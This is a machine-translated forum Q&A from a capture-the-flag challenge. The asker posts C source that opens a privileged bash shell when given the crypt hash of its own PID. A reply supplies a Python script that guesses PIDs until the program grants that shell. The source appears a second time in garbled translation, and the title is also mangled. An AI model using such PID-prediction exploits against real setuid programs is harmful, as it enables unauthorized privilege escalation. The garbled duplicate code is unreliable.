Debugging 广东银行,&;密码分析

Debugging 广东银行,&;密码分析,debugging,gdb,cracking,gdb-python,Debugging,Gdb,Cracking,Gdb Python,大家好,我正在玩CTF,我必须破解一个程序才能得到shell源代码是: /* * gcc ch21.c -lcrypt -o ch21 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <crypt.h> #include <sys/types.h> #include <unistd.h> int main (int argc,

大家好,我正在玩CTF,我必须破解一个程序才能得到shell源代码是:

/*
* gcc ch21.c -lcrypt -o ch21
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <sys/types.h>
#include <unistd.h>

int main (int argc, char *argv[]) {
char pid[16];
char *args[] = { "/bin/bash", "-p", 0 };

snprintf(pid, sizeof(pid), "%i", getpid());
if (argc != 2)
    return 0;

printf("%s=%s",argv[1], crypt(pid, "$1$awesome"));

if (strcmp(argv[1], crypt(pid, "$1$awesome")) == 0) {
    printf("WIN!\n");
execve(args[0], &args[0], NULL);

} else {
    printf("Fail... :/\n");
}
return 0;
}
/*
*gcc ch21.c-lcrypt-o ch21
*/
#包括
#包括
#包括
#包括
#包括
#包括
int main(int argc,char*argv[]){
char-pid[16];
char*args[]={/bin/bash',“-p”,0};
snprintf(pid,sizeof(pid),“%i”,getpid());
如果(argc!=2)
返回0;
printf(“%s=%s”,argv[1],crypt(pid,$1$awesome”);
if(strcmp(argv[1],crypt(pid,“$1$awesome”))==0){
printf(“赢!\n”);
execve(args[0],&args[0],NULL);
}否则{
printf(“失败…:/\n”);
}
返回0;
}
现在我用gdb调试了它,因为我从源代码中了解到,我必须在运行时输入proccessid(PID)才能使用gdb-PEDA获得成功的shell我在断点期间尝试过getpid,但如何继续使用proccessid和gdb只运行命令传递输入到程序任何帮助


任何通知

不确定我是否正确理解了您的问题,但当达到极限时,PID的范围和周期受到限制,最大值通常在2^15左右。您可以简单地运行一个循环,该循环将通过潜在的PID来匹配将为流程分配的PID

这样做可以:

import os, crypt, subprocess

pid = os.getpid()+50 #safe buffer for things created after python script was started
print "Selected: ",pid
for i in range(32768):
    sp = subprocess.Popen(['./ch21', crypt.crypt(str(pid), "$1$awesome")], stdout=subprocess.PIPE)
    output = sp.stdout.readline()
    if "Fail" not in output:
            print output
            break

非常感谢,伙计,我会在ssh服务器上试用,希望能奏效